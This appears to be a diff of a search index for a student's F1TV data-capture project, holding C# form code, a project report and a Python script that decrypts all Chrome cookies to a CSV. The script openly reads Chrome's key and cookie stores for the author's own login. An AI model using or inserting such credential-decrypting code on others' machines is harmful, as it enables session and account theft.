pbxDriverZone.Image = Config.MainZone.Zones[0].Draw(); } } private void CreateNewZone(Point p1, Point p2) { Rectangle dimensions = CreateAbsoluteRectangle(p1, p2); Config = new ConfigurationTool((Bitmap)pbxMain.Image, dimensions); RefreshUI(); } private void CreateWindows(List dimensions) { if (Config != null) { Config.AddWindows(dimensions); } } private void tbxGpUrl_TextChanged(object sender, EventArgs e) { GrandPrixUrl = tbxGpUrl.Text; } private void tbxGpName_TextChanged(object sender, EventArgs e) { GrandPrixName = tbxGpName.Text; } private void tbxGpYear_TextChanged(object sender, EventArgs e) { int year; try { year = Convert.ToInt32(tbxGpYear.Text); } catch { year = 1545; } GrandPrixYear = year; } private void btnAddDriver_Click(object sender, EventArgs e) { string newDriver = tbxDriverName.Text; DriverList.Add(newDriver); tbxDriverName.Text = \"\"; RefreshUI(); } private void btnRemoveDriver_Click(object sender, EventArgs e) { if (lsbDrivers.SelectedIndex >= 0) { DriverList.RemoveAt(lsbDrivers.SelectedIndex); } RefreshUI(); } private void SwitchZoneCreation() { if (CreatingZone) { CreatingZone = false; lblZonePointsRemaning.Text = \"\"; } else { CreatingZone = true; if (Config != null) Config.ResetMainZone(); if (CreatingWindow) SwitchWindowCreation(); if (Emulator != null && Emulator.Ready) { Config = null; pbxMain.Image = Emulator.Screenshot(); } ZoneP1 = new Point(-1, -1); ZoneP2 = new Point(-1, -1); lblZonePointsRemaning.Text = \"2 Points left\"; } RefreshUI(); } private void SwitchWindowCreation() { if (CreatingWindow) { CreatingWindow = false; } else { CreatingWindow = true; if (Config != null) Config.ResetWindows(); if (CreatingZone) SwitchZoneCreation(); WindowP1 = new Point(-1, -1); WindowP2 = new Point(-1, -1); WindowsToAdd = new List(); } RefreshUI(); } private void btnCreatZone_Click(object sender, EventArgs e) { SwitchZoneCreation(); } private void btnCreateWindow_Click(object sender, EventArgs e) { SwitchWindowCreation(); } private void pbxMain_MouseClick(object sender, MouseEventArgs e) { if (CreatingZone && pbxMain.Image != null) { //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y)); Point coordinates = e.Location; float xOffset = (float)pbxMain.Image.Width / (float)pbxMain.Width; float yOffset = (float)pbxMain.Image.Height / (float)pbxMain.Height; Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset)); //MessageBox.Show(\"Coordinates\" + Environment.NewLine + \"Old : \" + coordinates.ToString() + Environment.NewLine + \"New : \" + newPoint.ToString()); if (ZoneP1 == new Point(-1, -1)) { ZoneP1 = newPoint; } else { ZoneP2 = newPoint; CreateNewZone(ZoneP1, ZoneP2); SwitchZoneCreation(); } RefreshUI(); } } private void pbxMain_Click(object sender, EventArgs e) { //Not the right one to use visibly } private void pbxDriverZone_MouseClick(object sender, MouseEventArgs e) { if (CreatingWindow && pbxDriverZone.Image != null) { Point coordinates = e.Location; float xOffset = (float)pbxDriverZone.Image.Width / (float)pbxDriverZone.Width; float yOffset = (float)pbxDriverZone.Image.Height / (float)pbxDriverZone.Height; Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset)); if (WindowP1 == new Point(-1, -1)) { WindowP1 = newPoint; } else { WindowP2 = newPoint; WindowsToAdd.Add(CreateAbsoluteRectangle(WindowP1, WindowP2)); if (WindowsToAdd.Count < ConfigurationTool.NUMBER_OF_ZONES) { WindowP1 = new Point(-1, -1); WindowP2 = new Point(-1, -1); } else { WindowP1 = new Point(WindowP1.X, 0); WindowP2 = new Point(WindowP2.X, pbxDriverZone.Image.Height); CreateWindows(WindowsToAdd); SwitchWindowCreation(); } } RefreshUI(); } } private void pbxDriverZone_Click(object sender, EventArgs e) { //Not the right one to use visibly } private Rectangle CreateAbsoluteRectangle(Point p1, Point p2) { Point newP1 = new Point(); Point newP2 = new Point(); if (p1.X < p2.X) { newP1.X = p1.X; newP2.X = p2.X; } else { newP1.X = p2.X; newP2.X = p1.X; } if (p1.Y < p2.Y) { newP1.Y = p1.Y; newP2.Y = p2.Y; } else { newP1.Y = p2.Y; newP2.Y = p1.Y; } return new Rectangle(newP1.X, newP1.Y, newP2.X - newP1.X, newP2.Y - newP1.Y); } private async void btnRefresh_Click(object sender, EventArgs e) { btnRefresh.Enabled = false; if (Emulator == null || Emulator.GrandPrixUrl != tbxGpUrl.Text) { Emulator = new F1TVEmulator(tbxGpUrl.Text); } if (!Emulator.Ready) { Task start = Task.Run(() => Emulator.Start()); int errorCode = await start; if (errorCode != 0) { string message; switch (errorCode) { case 101: message = \"Error \" + errorCode + \" Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again\"; break; case 102: message = \"Error \" + errorCode + \" Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update\"; break; case 103: message = \"Error \" + errorCode + \" The url is not a valid url\"; break; case 104: message = \"Error \" + errorCode + \" The url is not a valid url\"; break; case 105: message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\"; break; case 106: message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\"; break; default: message = \"Could not start the emulator Error \" + errorCode; break; } MessageBox.Show(message); } else { pbxMain.Image = Emulator.Screenshot(); } } else { pbxMain.Image = Emulator.Screenshot(); } btnRefresh.Enabled = true; } private void Settings_FormClosing(object sender, FormClosingEventArgs e) { if (Emulator != null) { Emulator.Stop(); } } private void btnResetDriver_Click(object sender, EventArgs e) { if (Emulator != null) { Emulator.ResetDriver(); } } private void btnSavePreset_Click(object sender, EventArgs e) { string presetName = tbxPresetName.Text; if (Config != null) { Config.SaveToJson(DriverList,presetName); } RefreshUI(); } private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e) { //Nothing } private void btnLoadPreset_Click(object sender, EventArgs e) { if (lsbPresets.SelectedIndex >= 0 && pbxMain.Image != null) { try { Reader reader = new Reader(lsbPresets.Items[lsbPresets.SelectedIndex].ToString(), (Bitmap)pbxMain.Image,false); //MainZones #0 is the big main zone containing driver zones Config = new ConfigurationTool((Bitmap)pbxMain.Image, reader.MainZones[0].Bounds); Config.MainZone = reader.MainZones[0]; DriverList = reader.Drivers; } catch (Exception ex) { MessageBox.Show(\"Could not load the settings error :\" + ex); } RefreshUI(); } } } }","title":"Settings.cs"},{"location":"Code/Settings.html#settingscs","text":"\ufeffusing System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.IO; namespace Test_Merge { public partial class Settings : Form { private string _grandPrixUrl = \"\"; private string _grandPrixName = \"\"; private int _grandPrixYear = 2000; private List _driverList = new List(); private F1TVEmulator Emulator = null; private ConfigurationTool Config = null; private bool CreatingZone = false; private Point ZoneP1; private Point ZoneP2; private bool CreatingWindow = false; private Point WindowP1; private Point WindowP2; List WindowsToAdd = new List(); public string GrandPrixUrl { get => _grandPrixUrl; private set => _grandPrixUrl = value; } public string GrandPrixName { get => _grandPrixName; private set => _grandPrixName = value; } public int GrandPrixYear { get => _grandPrixYear; private set => _grandPrixYear = value; } public List DriverList { get => _driverList; private set => _driverList = value; } public Settings() { InitializeComponent(); Load(); } private void Load() { RefreshUI(); } private void RefreshUI() { lsbDrivers.DataSource = null; lsbDrivers.DataSource = DriverList; if (Directory.Exists(ConfigurationTool.CONFIGS_FOLDER_NAME)) { lsbPresets.DataSource = null; lsbPresets.DataSource = Directory.GetFiles(ConfigurationTool.CONFIGS_FOLDER_NAME); } if (CreatingZone) { if (ZoneP1 == new Point(-1, -1)) { lblZonePointsRemaning.Text = \"2 points Remaining\"; } else { lblZonePointsRemaning.Text = \"1 point Remaining\"; } } else { lblZonePointsRemaning.Text = \"\"; } if (CreatingWindow) { if (WindowP1 == new Point(-1, -1)) { lblWindowPointsRemaining.Text = \"2 points Remaining\"; } else { lblWindowPointsRemaining.Text = \"1 point Remaining\"; } lblWindowPointsRemaining.Text = ConfigurationTool.NUMBER_OF_ZONES - WindowsToAdd.Count() + \" Windows remaining\"; } else { lblWindowPointsRemaining.Text = \"\"; lblWindowsRemaining.Text = \"\"; } if (Config != null) { pbxMain.Image = Config.MainZone.Draw(); if(Config.MainZone.Zones.Count > 0) pbxDriverZone.Image = Config.MainZone.Zones[0].Draw(); } } private void CreateNewZone(Point p1, Point p2) { Rectangle dimensions = CreateAbsoluteRectangle(p1, p2); Config = new ConfigurationTool((Bitmap)pbxMain.Image, dimensions); RefreshUI(); } private void CreateWindows(List dimensions) { if (Config != null) { Config.AddWindows(dimensions); } } private void tbxGpUrl_TextChanged(object sender, EventArgs e) { GrandPrixUrl = tbxGpUrl.Text; } private void tbxGpName_TextChanged(object sender, EventArgs e) { GrandPrixName = tbxGpName.Text; } private void tbxGpYear_TextChanged(object sender, EventArgs e) { int year; try { year = Convert.ToInt32(tbxGpYear.Text); } catch { year = 1545; } GrandPrixYear = year; } private void btnAddDriver_Click(object sender, EventArgs e) { string newDriver = tbxDriverName.Text; DriverList.Add(newDriver); tbxDriverName.Text = \"\"; RefreshUI(); } private void btnRemoveDriver_Click(object sender, EventArgs e) { if (lsbDrivers.SelectedIndex >= 0) { DriverList.RemoveAt(lsbDrivers.SelectedIndex); } RefreshUI(); } private void SwitchZoneCreation() { if (CreatingZone) { CreatingZone = false; lblZonePointsRemaning.Text = \"\"; } else { CreatingZone = true; if (Config != null) Config.ResetMainZone(); if (CreatingWindow) SwitchWindowCreation(); if (Emulator != null && Emulator.Ready) { Config = null; pbxMain.Image = Emulator.Screenshot(); } ZoneP1 = new Point(-1, -1); ZoneP2 = new Point(-1, -1); lblZonePointsRemaning.Text = \"2 Points left\"; } RefreshUI(); } private void SwitchWindowCreation() { if (CreatingWindow) { CreatingWindow = false; } else { CreatingWindow = true; if (Config != null) Config.ResetWindows(); if (CreatingZone) SwitchZoneCreation(); WindowP1 = new Point(-1, -1); WindowP2 = new Point(-1, -1); WindowsToAdd = new List(); } RefreshUI(); } private void btnCreatZone_Click(object sender, EventArgs e) { SwitchZoneCreation(); } private void btnCreateWindow_Click(object sender, EventArgs e) { SwitchWindowCreation(); } private void pbxMain_MouseClick(object sender, MouseEventArgs e) { if (CreatingZone && pbxMain.Image != null) { //Point coordinates = pbxMain.PointToClient(new Point(MousePosition.X, MousePosition.Y)); Point coordinates = e.Location; float xOffset = (float)pbxMain.Image.Width / (float)pbxMain.Width; float yOffset = (float)pbxMain.Image.Height / (float)pbxMain.Height; Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset)); //MessageBox.Show(\"Coordinates\" + Environment.NewLine + \"Old : \" + coordinates.ToString() + Environment.NewLine + \"New : \" + newPoint.ToString()); if (ZoneP1 == new Point(-1, -1)) { ZoneP1 = newPoint; } else { ZoneP2 = newPoint; CreateNewZone(ZoneP1, ZoneP2); SwitchZoneCreation(); } RefreshUI(); } } private void pbxMain_Click(object sender, EventArgs e) { //Not the right one to use visibly } private void pbxDriverZone_MouseClick(object sender, MouseEventArgs e) { if (CreatingWindow && pbxDriverZone.Image != null) { Point coordinates = e.Location; float xOffset = (float)pbxDriverZone.Image.Width / (float)pbxDriverZone.Width; float yOffset = (float)pbxDriverZone.Image.Height / (float)pbxDriverZone.Height; Point newPoint = new Point(Convert.ToInt32((float)coordinates.X * xOffset), Convert.ToInt32((float)coordinates.Y * yOffset)); if (WindowP1 == new Point(-1, -1)) { WindowP1 = newPoint; } else { WindowP2 = newPoint; WindowsToAdd.Add(CreateAbsoluteRectangle(WindowP1, WindowP2)); if (WindowsToAdd.Count < ConfigurationTool.NUMBER_OF_ZONES) { WindowP1 = new Point(-1, -1); WindowP2 = new Point(-1, -1); } else { WindowP1 = new Point(WindowP1.X, 0); WindowP2 = new Point(WindowP2.X, pbxDriverZone.Image.Height); CreateWindows(WindowsToAdd); SwitchWindowCreation(); } } RefreshUI(); } } private void pbxDriverZone_Click(object sender, EventArgs e) { //Not the right one to use visibly } private Rectangle CreateAbsoluteRectangle(Point p1, Point p2) { Point newP1 = new Point(); Point newP2 = new Point(); if (p1.X < p2.X) { newP1.X = p1.X; newP2.X = p2.X; } else { newP1.X = p2.X; newP2.X = p1.X; } if (p1.Y < p2.Y) { newP1.Y = p1.Y; newP2.Y = p2.Y; } else { newP1.Y = p2.Y; newP2.Y = p1.Y; } return new Rectangle(newP1.X, newP1.Y, newP2.X - newP1.X, newP2.Y - newP1.Y); } private async void btnRefresh_Click(object sender, EventArgs e) { btnRefresh.Enabled = false; if (Emulator == null || Emulator.GrandPrixUrl != tbxGpUrl.Text) { Emulator = new F1TVEmulator(tbxGpUrl.Text); } if (!Emulator.Ready) { Task start = Task.Run(() => Emulator.Start()); int errorCode = await start; if (errorCode != 0) { string message; switch (errorCode) { case 101: message = \"Error \" + errorCode + \" Could not start the driver. It could be because an other instance is runnin make sure you closed them all before trying again\"; break; case 102: message = \"Error \" + errorCode + \" Could not navigate on the F1TV site. Make sure the correct URL has been given and that you logged from chrome. It can take a few minutes to update\"; break; case 103: message = \"Error \" + errorCode + \" The url is not a valid url\"; break; case 104: message = \"Error \" + errorCode + \" The url is not a valid url\"; break; case 105: message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\"; break; case 106: message = \"Error \" + errorCode + \" There has been an error trying to emulate button presses. Please try again\"; break; default: message = \"Could not start the emulator Error \" + errorCode; break; } MessageBox.Show(message); } else { pbxMain.Image = Emulator.Screenshot(); } } else { pbxMain.Image = Emulator.Screenshot(); } btnRefresh.Enabled = true; } private void Settings_FormClosing(object sender, FormClosingEventArgs e) { if (Emulator != null) { Emulator.Stop(); } } private void btnResetDriver_Click(object sender, EventArgs e) { if (Emulator != null) { Emulator.ResetDriver(); } } private void btnSavePreset_Click(object sender, EventArgs e) { string presetName = tbxPresetName.Text; if (Config != null) { Config.SaveToJson(DriverList,presetName); } RefreshUI(); } private void lsbPresets_SelectedIndexChanged(object sender, EventArgs e) { //Nothing } private void btnLoadPreset_Click(object sender, EventArgs e) { if (lsbPresets.SelectedIndex >= 0 && pbxMain.Image != null) { try { Reader reader = new Reader(lsbPresets.Items[lsbPresets.SelectedIndex].ToString(), (Bitmap)pbxMain.Image,false); //MainZones #0 is the big main zone containing driver zones Config = new ConfigurationTool((Bitmap)pbxMain.Image, reader.MainZones[0].Bounds); Config.MainZone = reader.MainZones[0]; DriverList = reader.Drivers; } catch (Exception ex) { MessageBox.Show(\"Could not load the settings error :\" + ex); } RefreshUI(); } } } }","title":"Settings.cs"},{"location":"Code/recoverCookiesCSV.html","text":"recoverCookiesCSV.py # Rohmer Maxime # RecoverCookies.py # Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files # This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it) # Parts of this cript have been created with the help of ChatGPT import os import json import base64 import sqlite3 import win32crypt from Cryptodome.Cipher import AES from pathlib import Path import csv def get_master_key(): with open( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Local State\", \"r\" ) as f: local_state = f.read() local_state = json.loads(local_state) master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"]) master_key = master_key[5:] # removing DPAPI master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] print(\"MASTER KEY :\") print(master_key) print(len(master_key)) return master_key def decrypt_payload(cipher, payload): return cipher.decrypt(payload) def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) def decrypt_password(buff, master_key): try: iv = buff[3:15] payload = buff[15:] cipher = generate_cipher(master_key, iv) decrypted_pass = decrypt_payload(cipher, payload) decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes return decrypted_pass except Exception: # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key() cookies_path = Path( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Network\\\\Cookies\" ) if not cookies_path.exists(): raise ValueError(\"Cookies file not found\") with sqlite3.connect(cookies_path) as connection: connection.row_factory = sqlite3.Row cursor = connection.cursor() cursor.execute(\"SELECT * FROM cookies\") with open('cookies.csv', 'a', newline='') as csvfile: fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) if csvfile.tell() == 0: writer.writeheader() for row in cursor.fetchall(): decrypted_value = decrypt_password(row[\"encrypted_value\"], master_key) writer.writerow({ 'host_key': row[\"host_key\"], 'name': row[\"name\"], 'value': decrypted_value, 'path': row[\"path\"], 'expires_utc': row[\"expires_utc\"], 'is_secure': row[\"is_secure\"], 'is_httponly': row[\"is_httponly\"] }) print(\"Finished CSV\")","title":"recoverCookiesCSV.py"},{"location":"Code/recoverCookiesCSV.html#recovercookiescsvpy","text":"# Rohmer Maxime # RecoverCookies.py # Little script that recovers the cookies stored in the chrome sqlite database and then decrypts them using the key stored in the chrome files # This script has been created to be used by an other programm or for the data to not be used directly. This is why it stores all the decoded cookies in a csv. (Btw could be smart for the end programm to delete the csv after using it) # Parts of this cript have been created with the help of ChatGPT import os import json import base64 import sqlite3 import win32crypt from Cryptodome.Cipher import AES from pathlib import Path import csv def get_master_key(): with open( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Local State\", \"r\" ) as f: local_state = f.read() local_state = json.loads(local_state) master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"]) master_key = master_key[5:] # removing DPAPI master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1] print(\"MASTER KEY :\") print(master_key) print(len(master_key)) return master_key def decrypt_payload(cipher, payload): return cipher.decrypt(payload) def generate_cipher(aes_key, iv): return AES.new(aes_key, AES.MODE_GCM, iv) def decrypt_password(buff, master_key): try: iv = buff[3:15] payload = buff[15:] cipher = generate_cipher(master_key, iv) decrypted_pass = decrypt_payload(cipher, payload) decrypted_pass = decrypted_pass[:-16].decode() # remove suffix bytes return decrypted_pass except Exception: # print(\"Probably saved password from Chrome version older than v80\\n\") # print(str(e)) return \"Chrome < 80\" master_key = get_master_key() cookies_path = Path( os.getenv(\"localappdata\") + \"\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Network\\\\Cookies\" ) if not cookies_path.exists(): raise ValueError(\"Cookies file not found\") with sqlite3.connect(cookies_path) as connection: connection.row_factory = sqlite3.Row cursor = connection.cursor() cursor.execute(\"SELECT * FROM cookies\") with open('cookies.csv', 'a', newline='') as csvfile: fieldnames = ['host_key', 'name', 'value', 'path', 'expires_utc', 'is_secure', 'is_httponly'] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) if csvfile.tell() == 0: writer.writeheader() for row in cursor.fetchall(): decrypted_value = decrypt_password(row[\"encrypted_value\"], master_key) writer.writerow({ 'host_key': row[\"host_key\"], 'name': row[\"name\"], 'value': decrypted_value, 'path': row[\"path\"], 'expires_utc': row[\"expires_utc\"], 'is_secure': row[\"is_secure\"], 'is_httponly': row[\"is_httponly\"] }) print(\"Finished CSV\")","title":"recoverCookiesCSV.py"}]} \ No newline at end of file +{"config":{"indexing":"full","lang":["en"],"min_search_length":3,"prebuild_index":false,"separator":"[\\s\\-]+"},"docs":[{"location":"index.html","text":"Rapport Track Trends V1.0 Rohmer Maxime Travail de dipl\u00f4me Technicien ES 2023 Introduction R\u00e9sum\u00e9 Track Trends est un outil de r\u00e9cup\u00e9ration et d'analyse de donn\u00e9es de courses de Formule 1. Pour le contexte, en dehors des cours, j'exerce diff\u00e9rentes activit\u00e9s dont celle de Live Ticker F1 pour le 20 minutes. Pour m'aider dans ce travail, j'utilise actuellement la F1TV \u00e0 laquelle je suis abonn\u00e9 qui me propose non seulement un feed vid\u00e9o de meilleure qualit\u00e9 avec des commentaires plus pertinents que ceux de la RTS mais qui aussi me permet d'acc\u00e9der \u00e0 un feed vid\u00e9o tr\u00e8s important : la chaine data. Ce dernier ressemble \u00e0 cela : \"Screenshot du feed data de la f1tv\" (Attention ce n'est pas un joli tableau HTML, mais bien une vid\u00e9o qui contient un tableau.) Sauf que toutes les informations sont \u00e9tal\u00e9es p\u00eale-m\u00eale sans hi\u00e9rarchie ce qui fait que cela me prendrait trop de temps de tout d\u00e9chiffrer \u00e0 chaque fois, ce qui me fait rater des choses int\u00e9ressantes. Le but du projet est donc de fournir un outil qui hi\u00e9rarchise et affiche diff\u00e9remment les donn\u00e9es pour faciliter leur lecture et me permettre de faire de meilleurs commentaires. Abstract Track Trends is a Formula 1 data is a tool that displays and interpret data. To understand everything,first ,a little bit of context. In my free time I have multiple activities and one is to be the Live Ticker F1 for the local journal \"20 minutes\" (Owned by Tamedia). to help me in this work I'm currently using the F1TV to which I'm currently subscribed because it provides me with a better video feed with better commentary than the ones from the RTS (in my opinion) but also because it gives me access to a very important video feed : the data channel You can see in the chapter above an example of the F1TV DATA CHANNEL. [Note : Even tough it looks like a pretty HTML table on wich you could easely get infos... Its not. Its a video feed] You can see a lot of data all well and good BUT! All the data is displayed the same in a big table which make it really hard to read totally in a hurry, which means that I miss a lot of useful information. The point of the project then is to provide a tool that can display those data by taking into account their relevance. So for example a driver that is 10s away from everyone and that is doing some normal lapTimes will be less displayed or even not displayed at all so I can focus on the drivers that are battling each others. This tool would help me not miss the battles and details that are happening in the back and therefore not being broadcasted on TV.And it could be a usefull tool for anyone who wants a better insight of how the race is going by looking at the data. This kind of project already exists in the form of the AWS tool \"F1 Insight\" but it is not avaible to the public. We can only see some of its predictions (that are trash) and data dumps in the live feed when the TV directors feel like it. Description du besoin Comme expliqu\u00e9 dans le r\u00e9sum\u00e9, je suis Live Ticker F1. Mais pour mieux comprendre le besoin que j'ai, je pense qu'il est pertinent de comprendre comment je travaille. Pendant un Grand Prix de Formule 1 j'ai plusieurs t\u00e2ches \u00e0 effectuer : Suivre les diff\u00e9rents \u00e9v\u00e8nements du Grand Prix Changer le titre et la photo de titre du Live Chercher des Tweets ou des Images \u00e0 int\u00e9grer Ecrire les commentaires en faisant attention \u00e0 dire ce qu'il se passe mais aussi l\u2019expliquer, ce que cela implique, mais aussi ce que cela veut dire pour le reste de la course. Comprendre et expliquer les strat\u00e9gies Tout cela toutes les cinq minutes max... Cela veut dire que je dois \u00eatre le plus rapide possible quand je cherche des informations. Et comme le tableau en comporte trop et bien, je suis oblig\u00e9 de le lire en diagonale. Par exemple dans le tableau, les infos que je cherche le plus sont : Le nombre de places gagn\u00e9es (surtout au d\u00e9part) Les \u00e9carts entre les pilotes (surtout ceux qui sont en dessous de deux secondes). Les pneus de chaque pilote et combien de tours, ils ont fait dessus Les temps d'arr\u00eats aux stands Les temps au tour (surtout pour la strat\u00e9gie) Mais pleins d'autres informations existent si on les recoupe sur plusieurs tours. Un outil qui permettrait de mettre en \u00e9vidence les informations importantes serait donc une tr\u00e8s grosse plus-value pour mon travail et s'il est facile \u00e0 installer et \u00e0 utiliser, il se pourrait qu'il devienne indispensable. Cahier des charges Il s'agit d'une version coup\u00e9e du cahier des charges qui ne contient pas l'explication du contexte. Mais l'original est disponible sur ce site \u00e9galement. Il est toutefois normal d'y voir des choses r\u00e9p\u00e9t\u00e9es ou l\u00e9g\u00e8rement diff\u00e9rentes, en effet, il n'a pas \u00e9t\u00e9 \u00e9crit en m\u00eame temps que le reste de ce document. Projet Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples : Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents R\u00e9alisation Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Exemple de la Data Channel\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Protype de l'app fait sur Figma\" Cas d'utilisation '*'On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes Difficult\u00e9s techniques R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les 